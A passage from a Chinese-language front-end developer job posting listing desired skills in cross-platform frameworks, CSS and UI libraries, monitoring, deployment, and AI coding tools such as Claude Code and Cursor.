有 Taro/React Native/UniApp 跨端经验加分。
样式与交互
熟练使用 CSS Modules、Styled Components、TailwindCSS、sass/Less。
精通常见 UI 库:Ant Design、Element Plus、MUI、Chakra UI 等源码定制与主题改造。
有低代码平台、AI 对话界面、表单引擎开发经验优先。
工程质量与运维
熟悉前端监控、埋点、异常上报:Sentry、Fundebug、ARMS。
了解基础 Docker/CI/CD、nginx 配置、部署与发布流程。
具备线上问题快速定位、复盘与优化能力。
熟悉使用 Claude Code、Cursor、Trae、文心快码、通义灵码等 AI coding 工具赋能高效率开发。